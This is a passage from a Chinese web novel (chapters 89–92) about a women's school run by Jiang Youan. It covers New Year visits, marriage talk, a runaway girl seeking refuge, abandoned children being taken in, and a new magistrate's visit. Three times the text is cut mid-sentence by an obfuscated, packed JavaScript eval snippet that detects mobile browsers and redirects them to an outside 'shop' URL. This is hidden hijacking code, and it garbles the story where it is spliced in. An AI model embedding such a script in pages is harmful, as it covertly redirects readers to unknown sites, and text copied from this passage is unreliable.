“是小阮做的好吃,小阮真厉害!”姜佑安夸赞道。 二门外的铃铛想了,姜佑安拿起一块肉,跑了出去,不一会儿把戴庭芳和程祥领了进来。 “表哥,程祥大哥,你们怎么来了?”阮荷惊奇地问道。 姜佑安的视线黏在了戴庭芳的脸上,好一阵没见他了,这张脸还是这么好看,“你表哥说要请你去他家过年。” “好久没到这里来了,今天正好公子要来请阮姑娘,我也跟着来看看你们。”程祥说着把一个纸包递给姜佑安,“一点薄礼,不成敬意。” 姜佑安在袁竹的围裙上擦了擦手,笑着把纸包接了过去,“谢谢你还想着我们,这是什么?” “是糖,给阮姑娘做点心用的。”程祥说道。 “原来是给小阮的,小阮,我替你收了啊。”姜佑安说着,把糖放进了一旁的柜子里。 阮荷笑着向程祥道谢,“多谢程大哥,等我做了点心,也给程大哥拿去尝尝。” “戴老师?戴公子?”姜佑安凑到戴庭芳的眼前,笑意盈盈地看着他,“程祥带了礼物给小阮,你有没有什么给我?不会是空手过来的吧。” 89. 拜年 戴庭芳移开视线,不去看她,“我是来找我表妹的,不是来给你送礼的。” “咱们也有一个多月没见了吧,戴老师一点儿都不想我们?”姜佑安问道。 “想啊,公子每日都在家里读书、写字,一直在准备明年教书的内容,他都迫不及待要等着过完年再过来教书了。”程祥说道。 “程祥!”戴庭芳瞪了他一眼,“不要多嘴。” “是。”程祥抿着嘴,和姜佑安相视一笑。 戴庭芳不理两人,向阮荷问道:“表妹,我爹娘请你去我家吃年夜饭,你什么时候想回来,我再把你送回来。” “谢谢表叔和婶子的好意,我就不去了。”阮荷说道。 这边正说着话,二门外的铃铛又响了,姜佑安跑出去,把阮晨烟领了进来。 “晨烟,你来得正好,刚炸的酥肉,来尝尝。”姜佑安热情地招呼道。 阮晨烟一进来就发现了戴庭芳,赶忙向他打招呼,“戴老师,你也在啊。” “嗯。”戴庭芳微笑着点了点头。 “晨烟来了,这是你姐炸的,吃吧,别客气。”袁竹笑着说道。 李长风拿了筷子给阮晨烟,她夹起一块小酥肉,吃了起来,“真好吃,我好久没吃到我姐炸的小酥肉了。” “这么香的肉,姜佑安,你怎么不让我和公子尝尝?”程祥说道。 “你们想吃就吃呗,还客气什么。”姜佑安给两人拿了筷子。 “晨烟,这个时候,你怎么来了?”阮荷问道。 “娘要我叫你回去过年。”阮晨烟说道。 “两家都来请小阮,怕是两家都有婚事要谈。”姜佑安这话一出口,厨房里顿时陷入了沉默。 油锅翻滚,裹了粉的肉条起起伏伏,袁竹翻着锅里的肉,叹息一声,“过完年,小阮就十七了。” “爹娘说,姐姐早晚是要嫁人的。”阮晨烟不明白众人的担忧,直言不讳地说道。 “赖川的事,县衙外贴了公示,戴老爷听说了事情原委,知道阮姑娘是平白被人污蔑,这次请阮姑娘过去,可能确有此意。”程祥说道。 “这还得看小阮的意思。”姜佑安说道。 阮荷手上抓着肉条,一块块放进油锅里,“我没有嫁人的打算,阮家和表哥家,我都不去,我要留在这里过年。” “去戴家,可就不用你亲自做饭了,肯定有很多好吃的。”姜佑安说道。 阮荷有些好笑地看向姜佑安,“佑安姐姐,你这是在劝我跟表哥走吗?” “戴家是有钱人,你去享受享受,过完年再回来也一样。”袁竹说道。 阮荷轻轻摇了摇头,“不了,我喜欢待在这里,表哥,你跟表叔和婶婶说一声,我就不过去吃年夜饭了,过两天我再过去拜年。” “晨烟,要不你也留下吧,咱们一块吃年夜饭,你明天再回家去。”袁竹说道。 “不行,我不回去,爹娘肯定会生气的,姐,我回去了。”阮晨烟又往嘴里塞了一块肉,“我回去跟爹娘说,你不想嫁人,让他们别再逼你了。” 阮荷笑了,“好,路上小心点儿,等下次来,我给你拿压岁钱。” “嗯。”阮晨烟高兴地点了点头,向大家告别,往外走去。 “等等。”戴庭芳叫住了她,“我送送你,你跟我们一块坐马车回去吧。” “谢谢戴老师。”陈晨烟声音明亮,高兴地同戴庭芳和程祥一起出了大门。 袁竹拿了半瓦盆的小酥肉,让阮晨烟带回去,姜佑安拿了一盆盛开的水仙花给程祥,说是答谢他去年给的水仙花球,大家互道了新年好,在一片鞭炮声中,袁竹等人目送着马车逐渐远去了。 “小阮,你真的不考虑嫁给你表哥?”姜佑安问道。 “你说什么呢?”阮荷白了她一眼,转身回了院里。 姜佑安追了过去,“我说认真的,你真的不考虑?” “不考虑,我不是说了吗?我没打算嫁人。”阮荷说道。 “大过年的,你非要说这个,是不是想给小阮添堵?”袁竹问道。 “我哪有添堵,不过是问问,戴老师长得好看,我常觉得,要是我跟他多亲近,会不会让小阮不自在。”姜佑安说出了自己心中的顾虑。 “你还会考虑这个?你让黎泱泱抱着你的时候,怎么没想一想,我们自不自在?”袁竹说道。 “黎泱泱又不是你们的亲戚,我怎么对他,跟你们有什么关系?”姜佑安反驳道。 “戴老师是我的表哥,但他要跟谁亲近,是他自己的选择,跟我也没有什么关系。”阮荷说着,进了厨房,继续忙活起来。 “你想嫁给戴庭芳?”杨恩问道。 “啊?我什么时候这么说了?”姜佑安说道。 “那你想做什么?”李长风问道。 看到袁竹警告的眼神,姜佑安无奈地说道:“算了,就当我什么都没说吧。” “戴老师已经二十多岁了,估计戴家正在张罗着给他议亲,你要是对他有想法,得赶紧让他知道才是。”杨恩说道。 “说得也是,毕竟他现在都能跟女人正常说话了,娶妻生子也是顺理成章的事。”姜佑安略一思索,点了点头,“是得趁着他成婚之前做些什么。” “做些什么?”李长风问道。 见袁竹还在瞪着她,姜佑安赶忙换了个话题,“没什么,我是说书院的事,他要是成婚了,说不定就不能来教书了,倒时候估计就得靠我自己了。” “你那半瓶子的水平,能行吗?”袁竹表示怀疑。 “太深的内容讲不了,教个识字还是绰绰有余的。”姜佑安说道。 吃过了年夜饭,村里的孩子打着灯笼来找阮荷和李长风,杨恩把走廊上挂的灯笼取下来,给两人点上蜡烛,孩子们打着灯笼,在院子里跑跳追逐、捉迷藏,直到家长来找,才恋恋不舍地回去了。 阮荷和李长风玩够了,去了袁竹房里,和大家一起守夜,见大家困倦无聊,姜佑安去拿了话本来,绘声绘色地给大家讲述着话本里大侠惩恶扬善的故事,大家都听得津津有味,后半夜实在支撑不住了,才渐渐睡去。 大年初一,一群孩子们来敲门,姜佑安见这么多孩子来家里,十分惊讶,问袁竹他们来干吗,袁竹笑话她,还能来干吗?当然是来拜年的。 袁竹拿了簸箩来,里面盛放着南瓜子和西瓜子,孩子们见了,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314767|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围了上来,声声喊着新年好,袁竹乐呵呵地回着新年好,往每个小孩的布口袋里一人抓了一大把瓜子,还把点心拿出来,让孩子们吃。 孩子们高兴地拿了点心,出了门又往别家去了。 李初五叫阮荷和李长风同去村里拜年,得到了袁竹的许可,两人换上了新衣服,一人拿上一个布口袋,和李初五一起,跟上了孩子们的大部队。 见孩子们玩去了,袁竹换上了新衣服,去厨房准备包饺子,姜佑安和杨恩也换了新衣服,进厨房去帮忙。 孩子们走了,村里的村民也有上门来拜年的,说是感谢姜佑安办这个书院,让村里的女孩子能有读书的机会,袁竹拿出茶水和点心来,让姜佑安陪客人说话,她和杨恩去包饺子。 客人走了一波又来一波,姜佑安招呼客人喝茶吃点心,不时也有落单的孩子过来拜年,怯生生地喊着“姜院长过年好”,姜佑安学着袁竹的样子,喜气洋洋地给孩子们拿了瓜子和点心。 接近中午,拜年的人都回了家,袁竹、杨恩和姜佑安正在包饺子,阮荷和李长风也回来了,兴奋地给大家展示两人的战利品,布袋里多是南瓜子和西瓜子,不过也有榛子、杏仁、桃脯和苹果干,还有几块米花糖。 炫耀了一通之后,两人也洗了手要去包饺子,袁竹让两人玩去,孩子就该开开心心地过年,就不用干活了,姜佑安也没有反对,反正有杨恩在,饭菜不会太难吃。 大年初二,早上放过了鞭炮,村民们都带着孩子出去走亲戚拜年去了,袁竹和李长风在家留守,姜佑安、杨恩和阮荷出了家门,阮荷带着袁竹准备的拜年礼去戴家拜年,姜佑安和杨恩带着酒和水仙去了陈大用那里,热热闹闹吃了午饭,两人又去接了阮荷回袁家。 初三姜佑安邀了郭英一起去给徐燕拜年,给她留了一些粮食和银钱,初四之后,袁家人便窝在家里不出门了。 姜佑安打开东侧通往园子的院门,中午暖和的时候,一家人都去园子里清理杂草,修剪花木。 正忙活的时候,龙世蓉、许家莺、张慈、钟二娘、郭英还有一些学生家长接连过来拜年,龙世蓉和姜佑安商量着,在这园子里找个地方射箭,其他人则都主动跟着一起干活,中午吃了饭,还要再干会活儿再走。 初八之后,来拜年的人少了,程祥来了,和杨恩一起把园子里腐烂的花架都拆了,重新搭起架子来,划定了射箭的区域之后,顺便把靶子埋好。 园子里的活忙得差不多了,杨恩又和程祥一起去把院里棚子的棚顶和毡布都拆下来,放在了后院里。 袁竹和姜佑安看着空空的架子,商量着要在架子边种些什么爬藤的东西,袁竹要种丝瓜,姜佑安要种蔷薇,两个人争执不下,问阮荷想种什么,阮荷说想种葡萄,一时没个结果,两人只好暂时搁置。 见程祥和杨恩回来了,姜佑安向程祥问道,“戴老师还来不来?要不要准备他的饭?” “这个时候都没来,可能是来不了了。”程祥说道。 “戴老师家里有什么事吗?”杨恩问道。 “戴老爷给公子寻了一门亲事,今天女方家要过来商谈,早上公子本想跟我一起出门的,又被老爷叫了回去。”程祥说道。 90. 婚约 姜佑安哀叹一声,“看来戴老师也要离我而去了。” “那个黎公子拒绝你了?”程祥问道。 “何止是拒绝,他说我们两清了,估计是以后都不想再见到我了。”姜佑安说道。 “我家公子还没成亲,你还有机会。”程祥说道。 “机会?”姜佑安白了程祥一眼,“有什么机会?你不会是说有成亲的机会吧,他爹那个性格,我可受不了。” 程祥觉得有些可惜,“你要放弃我家公子?” “我才不会跟有婚约的男人纠缠,天下男人多得是,我再找别人就是了。”说是这么说,不过,姜佑安也觉得有些可惜,“不知道他成亲之后,还会不会留在这里教书,程祥,你说我是不是该按月给他束脩?这样能不能把他留下?” “这我说不好。”程祥说道。 “水烧好了,大家进来喝茶吧。”阮荷拎着水壶从厨房走出来,大家便跟着她进了堂屋。 桌上倒了六杯茶,大家各拿了一杯,坐下喝茶。 姜佑安不舍地抚摸着茶杯,“这茶具还是戴老师拿来的呢。” “以后是不是就没有机会和表哥一起喝茶了?”阮荷也略带遗憾地说道。 “现在公子的婚事还没定呢,说这些还太早了些。”程祥说道。 “也是,不说这个了,程祥,你在书院,书读得怎么样?”姜佑安问道。 “我读的书少,恶补这些日子,还是常常感到吃力,不过,还好有公子在,我可以去向他请教,我在书院还结识了一个朋友,叫霍静,他成绩优异,颇受老爷赏识,我和他相熟之后,他也常帮我讲解,我感觉自己进步了不少。”程祥说道。 姜佑安笑了笑,“不错啊,课业有进步,还交到了朋友,以后走上仕途,也好彼此有个照应。” 程祥好似有些惭愧,他微微低下头,看着杯中的茶水,“霍静肯定能考中,我,只是在浪费书院的钱财。” “你说什么呢?”姜佑安十分不赞同,“你入学还不到半年,不必着急,慢慢学就是了。” “对啊,程大哥肯定也能考中的。”阮荷说道。 “别太心急,你还年轻。”袁竹说道。 程祥抬起头,微微一笑,“说得也是,四五十岁中进士的也都是常事,我是该沉下心来,好好用功。” “压力别太大,实在不行,等戴庭芳回去结婚生子了,我就聘你来我这当老师。”姜佑安说道。 程祥眼底的笑意加深了几分,“我这个水平,哪里能当老师。” 那天,大家一起喝着茶,说着话,终究没有等到戴庭芳,程祥吃过午饭,坐了会儿,便要回去读书去了。 送走了程祥,阮荷拿出笔墨来,抄录文章,姜佑安也拿出书来,为戴庭芳的离开做起了准备,杨恩去做木工,李长风跟着袁竹一起去了园子里整理花木。 过了立春的节气,天气逐渐暖和起来,袁竹带着大家在宅子旁边开垦了一片菜园,又在山下租了一大块地,连同附近的荒地一块修整了,准备都种上花。 还没到农忙的时候,村里的女人见袁家人在山下忙碌,便有拿着锄头、镢头主动来一块干活的,山下女人聚集得多了,就有男人过来说一些不三不四的话,袁竹生起气来,破口大骂,把男人通通赶走了。 闲时,姜佑安去园子里走动,发现角落里有两个已经裂开的大缸,找人来修补了,挪到了院子里,去河边挖了淤泥放在缸中,还从冰冷的河水里挖了藕来,种在缸里。 袁竹说她瞎折腾,姜佑安也不理会,和李长风、阮荷一起,忙得不亦乐乎,期盼着缸里能开出荷花来。 经过一番争论,院子里的木架子旁最终种下了两棵蔷薇,是袁竹从最初开垦的花田里挪过来的,丝瓜则被种在了院墙外。 蔷薇开始发芽时,学生们又回到了学堂里,戴庭芳也来了,他给袁竹带了黄历来,向袁家其他人问了好,就进了学堂。 中午吃过了午饭,大家端着茶杯,站在院子里喝茶、晒太阳,享受片刻的悠闲。 姜佑安看着戴庭芳,嘴角带着浅笑,“我还以为戴老师今天是过来辞别的。” “为什么?我不是跟你说过,我会继续教下去的吗?”戴庭芳问道。 “我听程祥说,你父母在给你张罗亲事,你要是准备娶妻生子了,应该就不会来这里了吧。”姜佑安说道。 “我的病还没好彻底,不能拖累别的姑娘,婚事我拒绝了。”戴庭芳淡然地说道。 “你都能教这么多女学生了,病还没好?你父母能相信吗?”姜佑安说道。 “病是我身上的,他们没理由不相信。”戴庭芳说道。 阮荷笑着打趣道:“佑安姐姐还以为你以后不来了,这些日子都在拼命读书,预备去教书呢。” “我答应的事,不会轻易毁约。”戴庭芳转头看向姜佑安,神情十分认真,“姜院长对我就这么没有信心?” 姜佑安有些惭愧地笑了笑,“孩子的婚姻大事不都是父母的安排,我还以为你不会拒绝的。” 戴庭芳喝了口茶,轻轻舒了一口气,“婚姻是大事,是挑选一起共度一生的人,我自然也要慎重一些。” “嗯,说得也是。”姜佑安喝着茶,随口附和道。 戴庭芳突然想到了什么,向姜佑安问道:“你逃婚了,你的婚约怎么办?还作数吗?” 郭英从外面踏进了二门,笑着问道:“在说什么婚约呢?” “在说我逃婚的事呢。”姜佑安迎了过去,“今天不用在家织布吗?怎么下午也有空过来?” “这么好的天气,在家里织布太闷,我想来跟袁娘子一块干活去。”郭英说道。 “你这么勤快,真该让袁竹给你开工钱。”姜佑安眼看着袁竹说道。 袁竹轻轻笑着,“不用你提醒我,该给的钱,我可是一个铜板都不会少。” “我也去。”“我也去。”“我也要去。” 李长风、阮荷和阮晨烟也都提出要一起去干活,袁竹回屋里放下茶杯,就带着她们出去了,杨恩也走开了。 郭英却没有走,轻声向姜佑安说道:“你还记得牢里那个叫刘婉的犯人吗?” “记得,她杀了她丈夫,你怎么会突然提起她?”姜佑安问道。 “咱们刚被判无罪之后的那段时间,我去看过她,她的案子没什么疑点,也没有重审,前几天我去县里,听说她已经被处决了。”郭英说道。 姜佑安叹息一声,“杀人偿命,杀了一个无辜的人,谁也救不了她。” “我时常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328823|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,倘若她父母没有强行把她嫁了,她可能就不会杀人了。”郭英说道。 “不好说,她的个性过于太冲动,没有这样的事,说不定还有别的事。”姜佑安想了想,又补充道:“不过,我也不赞成她父母强行把她嫁出去,那根本是在卖女儿。” “我父母早就给我定了婚事,我的嫁衣也早就做好了,但我不确定那个人值不值得我嫁,遇到刘婉,我重新考虑了我的婚姻,在赵雄的事传出去之后,我被退了婚,心里感觉轻松了不少,虽然刘婉是个杀人犯,但我心里还是有些同情她,也感谢她,她让我看到了对待婚姻的另一种方式。”郭英说道。 “她的这种方式,手段过于激烈了,你可不要跟她学。”姜佑安说道。 郭英笑了笑,“你放心,我父母不会强迫我到那种地步,要不然,我也不可能来这里,我只是觉得她很洒脱,丝毫不会对自己的选择感到后悔。” 姜佑安摇了摇头,“我还是更赞成张慈的做法,过不下去就和离,休妻也好,弃夫也好,分开来,各过各的,反正都还能活下去。” “也许吧。”郭英的嘴角有着一抹淡淡的笑意,“也许这是她父母强迫她嫁人和她的个性共同造成的后果,但一想起她,我就觉得她好像给了我一种莫名的力量,我想,我这辈子都不会忘记她的。” “她能给你什么力量?”姜佑安问道。 “不知道,可能是鱼死网破的勇气吧。跟你一说,我感觉心里舒坦了些,我去干活去了。”郭英说着向戴庭芳点了点头,转身向外走去。 “她这是什么意思?”看着郭英的背影,姜佑安喃喃自语道。 “刘婉是谁?”戴庭芳问道。 姜佑安喝了一口手中的茶,茶水已经凉透了,随着她吞咽的动作,凉意蔓延开来,“是监狱里的一个死刑犯,她被父母嫁给了一个满脸长麻子的男人,她很讨厌那个男人,在外面另找了一个情夫,被丈夫发现了端倪,她就把丈夫杀了。” 戴庭芳沉默了一会儿,才说道:“原来是这样。” “她确实是个敢作敢当的人,我同情她被迫嫁人的遭遇,却不会认可她杀人的行为。”姜佑安说道。 “郭姑娘应该也不是认可刘婉杀人的行为,她可能是有过被父母亲情牵绊,不得不做出妥协的事,才会羡慕刘婉的肆意而为吧。”戴庭芳说道。 姜佑安想着郭英的遭遇,不禁叹了口气,“父母的养育之恩,真如同一座大山,压得人喘不过气来,要是孩子们能学着自私一些,肆意一些,也许会轻松许多。” “是啊,要是能像你和阮荷一样,反抗出逃,也许会好很多。”戴庭芳说道。 “出逃也不易,要不是遇到了袁竹,我和小阮也不知道会变成什么样。”姜佑安感叹道:“没有钱,就没有饭吃,不想被饿死,就只能草草嫁人,或者卖身为仆,女人独自在这世间生存,还是太难了些。” 两人正说着话,杨恩领着一个十五六岁的姑娘走进了二门。 “姜院长,这个孩子说是来找你的。”杨恩说道。 姜佑安见她并不是女子书院的学生,身后还背着一个包袱,于是问道:“你叫什么名字?是想来读书吗?” 姑娘见了姜佑安,伏身跪拜:“求姜院长收留我,我不想嫁人!” 91. 遗弃 姜佑安赶忙放下茶杯,把那姑娘扶了起来,姑娘抬起头时,已经满脸带泪。 “你叫什么名字?从哪里来的?让我收留你是什么意思?”姜佑安揽着她的肩膀问道。 “我叫孙白凤,是从庆丰镇来的,我爹收了人家的钱,要把我嫁给一个傻子,我不想嫁,我听说你这里开的女子书院不收钱,我想来这里读书,求你让我留下吧。”孙白凤哭着说道。 听着孙白凤的哭诉,姜佑安觉得喉咙发紧,她拿出手帕擦去孙白凤脸上的泪,“没人知道你来了这里吧?” 孙白凤摇了摇头,“我谁都没说,今天天还没亮我就出门了,没人知道我来了这里。” “你一路走过来的?”姜佑安问道。 “我怕被人发现,一早就跑出了镇上,跑累了就走,歇好了再接着跑。”孙白凤说道。 “跑了一上午,还没吃午饭吧。”姜佑安俯身给她理了理额前的头发,抬头看向杨恩,“中午是不是还有剩饭和菜,你给她盛一碗,让她先垫垫肚子。” 孙白凤舔了舔嘴唇,咽了一下口水,小心地问道:“姜院长,我可以留下吗?” 姜佑安笑了笑,“可以啊,我这个宅院里空房还有好多呢,别说是你一个小姑娘了,就是再来十个二十个,也住得下。” 孙白凤闻言绽开了笑颜,从袖子里掏出几个铜板来,塞到姜佑安的手里,“我只有这些钱,等我以后能挣钱了,再还你。” 姜佑安看着孙白凤灰扑扑的衣服和亮闪闪的眼睛,眼泪差点夺眶而出,她吸了吸鼻子,收下了铜板,“好,你的钱我收下了,你就安心在这里住下去吧,你家里人要是来抓你回去,我帮你拦着。” “嗯。”孙白凤开心地点了点头,杨恩盛了饭来,让她把包袱放下,去椅子上坐着吃。 孙白凤捧着碗,大口地吃着饭,不时抬头看看姜佑安,姜佑安笑了,“怎么?你还怕我跑了不成?” 孙白凤咽下嘴里的饭菜,腼腆地笑了笑,“不是,我是想问问你,我能不能跟你的姓,改姓姜?” “你是怕你家人来这里打听到你在这里?”姜佑安问道。 孙白凤点了点头,“我不想给你惹事,换了姓,他们就不好找了。” “真是个小机灵鬼儿,行啊,就跟我姓姜吧,什么时候你想改,再回去就是了。”姜佑安说道。 “姜白凤,也挺好听的。”杨恩说道。 “他叫杨恩,在这里有什么要帮忙的事,找我或者找他都行,这里有一个叫袁竹的姐姐,是种花卖花的,还有一个叫阮荷的姐姐,会跟你一起读书,还有一个叫李长风的弟弟,等会儿我带你去见他们,这位是戴庭芳戴老师,以后就由他来教你读书。”姜佑安介绍道。 “嗯,杨大哥,戴老师。”姜白凤点头跟他们打招呼。 “先吃饭吧,别着急,慢慢吃。”戴庭芳温柔地说道。 吃完了饭,姜白凤主动去洗碗,杨恩让她歇着,自己去刷了,姜佑安打开了后院的门,给她看了后罩房的房间,她选了最靠近院门这一侧的房间。 姜佑安、杨恩和戴庭芳帮忙把别的屋子里的床搬了过来,姜白凤把自己的包袱放了进去。姜佑安说赶明儿给她配个锁,姜白凤说包袱里只有两件旧衣服,没什么值钱的东西,不用配锁也行。 从后院出来,姜佑安给她介绍了自己的住处、厨房、厕所、学堂,还有门口带拉绳的铃铛,又带她去了山下的地里,见了袁竹、阮荷、阮晨烟、李长风,还有其他的学生和村民,打过招呼之后,姜白凤就跟着她们干起活来。 见这姑娘踏实肯干,又听说了她的身世,袁竹并没有责怪姜佑安擅自答应留下她,还让姜佑安去屋里拿钱,去县里买些棉花和布来,给姜白凤做被褥和枕头。 姜佑安听从袁竹的安排,去县里买了棉花和布回来,田里的众人见她回来了,便都回了宅院里洗了手,在院子里铺开席子,七手八脚地做起被褥来,天快黑了,被子只缝了一半,大家就都散了,约着明天再接着做。 杨恩和阮荷去做饭了,袁竹用粗粗的针脚大致缝了缝,就抱去了姜白凤的房间,又用布裹着棉花垫在床上当褥子,让她先凑合着用,明天再拆了仔细缝,姜白凤站在门边,局促地不知道说什么好。 姜佑安揽着她的肩膀,告诉她,只要说谢谢就好,姜白凤听了,连声向袁竹道谢。 吃过了晚饭,姜白凤回到了房间,姜佑安给她送了油灯和打火石来,阮荷担心姜白凤一个人睡在后院会害怕,让阮晨烟自己睡,她主动过来陪姜白凤一起睡。 早上姜白凤醒了,就和阮荷一起去了厨房做饭,戴庭芳来了之后,给她分了笔和纸,从头开始教起,阮荷主动坐在她身旁,对她格外照顾。 也许是这里离庆丰镇比较远,姜白凤的家人并没有追到这里来,她也就安心住下了,每天跟阮荷抢着干活,精气神十足。 有些学生住得比较远,见女子书院里可以住学生,便有父母找了来,希望孩子能在这里住宿,天气不好的时候,就不用来回奔波了。 姜佑安和袁竹商量之后,觉得后罩房反正也在闲着,学生住在这里,确实比较安全,就同意了,学生的父母马上给孩子送了被褥和日常用品来,还有人拉了粮食来,姜佑安给这些需要住宿的孩子安排了住处,把粮食收下了。 袁竹给杨恩拿了钱,让他打几张大床,一张床可以多睡几个学生,杨恩马上去村里找了人去山上砍木材,回来就在园子里的一角忙活上了。 听说女子书院可以住宿,便有人从更远的地方把孩子送过来,有的是为了让孩子读书,有的则是把孩子扔到这里就不管了,休息日也不许她们回家去。 姜佑安和袁竹收留了她们,却也难免为日益增加的孩子感到忧心。 有一天早晨,杨恩打开院门,看见一个瘦骨嶙峋的小姑娘蹲在门边,见人来了也不抬头,问她话也不答,杨恩去叫来姜佑安,姜佑安摸了摸她的额头,发现她体温高的烫人,忙把她抱进屋里去,给她请了郎中。 小姑娘六七岁的样子,脸上身上都脏兮兮的,躺在床上不说话也不哭闹,郎中来看了病,开了药,袁竹就去抓药煎药去了。 阮荷见她瘦得厉害,觉得她肯定饿了,给她炖了一碗鸡蛋羹,淋上几滴香油端了来。 小姑娘闻到鸡蛋羹的气味,马上从床上爬了起来,接过碗,也不顾烫,挖起一勺就往嘴里塞,烫出了眼泪都舍不得吐出来。 姜佑安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340942|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把碗抢了过来,细细吹凉之后,才慢慢喂给她,她眼睛紧紧盯着碗里的鸡蛋羹,勺子一送过来,她马上咬着勺子,把鸡蛋羹一股脑吞进肚里。 吃完了一整碗鸡蛋羹,小姑娘仍旧盯着装鸡蛋羹的碗看,好似把整个碗吞进肚里,才能缓解她的饥饿。 “这么饿吗?你多久没吃饭了?”姜佑安心疼地问道。 小姑娘好像听不懂姜佑安在说什么,只盯着碗看。 “她好像没吃饱,小阮,你再去给她做一碗鸡蛋羹来吧。”姜佑安说道。 听到鸡蛋羹三个字,小姑娘看向姜佑安,笑着点了点头。 阮荷惊喜地说道:“她听懂了!她喜欢鸡蛋羹,我这就去做。” 袁竹从外面进来,拦住了阮荷,“别去了,她估计饿很久了,一下子吃太多,身子受不住,等中午再给她做吧。” “哦,好。”阮荷应道。 袁竹在床边坐了,向小姑娘问道:“你叫什么名字?” 小姑娘有些茫然地摇了摇头。 “不会说话?”袁竹叹了口气,“看来是故意扔在咱们门口的。” 姜佑安眉头紧皱,“她父母扔的?怎么能如此狠心!” “她父母能把她养这么大,应该也不容易了。”袁竹说道。 “她还这么小……”姜佑安话还没说完,小姑娘一弯腰,刚吃进去的鸡蛋羹吐了一地。 小姑娘好似觉得很可惜,想下床去捡,姜佑安把她抱在怀里,“算了,吐了就吐了,等会儿再吃别的就是了。” 小姑娘不知道听没听懂,抱着姜佑安哭了起来,大家见了,都忍不住想要流泪。 杨恩把地上的呕吐物清理干净之后,厨房里粥煮好了,姜白凤盛了小半碗端来给小姑娘,她喝了半碗粥,踏实地睡下了。 钟二娘和郭英来找姜佑安说话,听说了小姑娘的事,非常心疼这个小姑娘,郭英回去找了旧衣服来给小姑娘换上,钟二娘则寸步不离地守着她。 喝了药之后,小姑娘出了汗,烧也退了,钟二娘仍旧不放心,和小姑娘一起住进了后罩房里,日夜照顾她。 自从收养了这个小姑娘之后,接连有女孩被遗弃在袁家门口,有的甚至还是襁褓中的婴儿,这些被遗弃的孩子,已经无家可回,一个比一个可怜,袁家不忍心让她们走,只好接纳了她们。 杨恩找人在后罩房的院子里垒了厨房和厕所,较小的孩子住进后罩房后,都由钟二娘和郭英照顾,但姜佑安觉得这个问题有些严重了,靠袁竹种花卖花,根本没办法养活这么多的孩子。 看出了姜佑安的忧虑,戴庭芳早上到了袁家,拿出一锭十两的银子给姜佑安,“这些你先拿着用吧。” 姜佑安有些吃惊,“你哪来的钱?你爹给你的?” “不是,是我娘给的,我跟她说了你在收养被遗弃的女孩,需要钱,我娘给我拿了这些,让我用完再找她要。”戴庭芳说道。 “唉。”姜佑安叹了口气,把银锭接了过去,“我本意可不是要收养弃婴的。” “我知道,可你也不愿赶她们走。”戴庭芳说道。 李长风小跑着从外面进了二门,“姜姐姐,有一个自称是知县的人在门口,说要见你。” 92. 筹钱 “知县?”姜佑安看向戴庭芳,“新知县上任了?” “上任了,就在前几日,新知县叫唐佐,他来这里做什么?”戴庭芳感到奇怪。 “来得正好,我这有一堆问题等着他解决呢。”姜佑安把银子揣起来,快步向外走去。 戴庭芳和李长风也跟着姜佑安走了出去,院门外的大路上停着一辆马车,马夫在车边站着,另有两人在大门外等候。 姜佑安向为首的那人作揖行礼道:“您就是新任知县唐大人?失敬失敬。” 唐佐客气地回礼道:“这位就是女子书院的姜院长吧,冒昧前来,多有打扰了。” 姜佑安侧身把唐佐往里让,“唐大人,里面请。” “姜院长客气了。”唐佐领着小厮进了院门,就听到前面学堂里传来了读书的声音,看到门边的牌子,他向姜佑安问道:“这里就是你们教书的学堂?” “对,这里就是学堂,唐大人要进去看看吗?”姜佑安问道。 “好啊。”唐佐欣然应道。 唐佐走进了学堂,见前面放着些长条形的桌子,配的也是长条的凳子,一套桌椅能坐三个人,一张桌子上放着三份纸笔,一份砚台和墨,后面的桌子则是圆的方的都有,也是每桌一份砚台和墨,多份纸笔。 学生们的岁数是小到五六岁、大到三四十的都有,见有人进来,都好奇地抬头张望着。姜佑安向她们介绍,来的是知县大人,大家都起身向他问好。 唐佐和蔼地让大家都坐下,他看了看学生们写的字和她们读的书,姜佑安又向他介绍了戴庭芳,唐佐说自己也曾经做过私塾的老师,两个人围绕着教书育人的话题相谈甚欢。 看过了学堂,姜佑安邀请唐佐去屋里坐坐,唐佐和戴庭芳跟着姜佑安进了屋,姜佑安让唐佐在主座坐了,亲自给他倒了茶,送到他的手边,“大人今日是特地来看女子书院教学情况的?” “正是,我听说这里办了一个只收女人的书院,这可是教化民众的好事,我作为知县,是要大力支持的。”唐佐一本正经地说道。 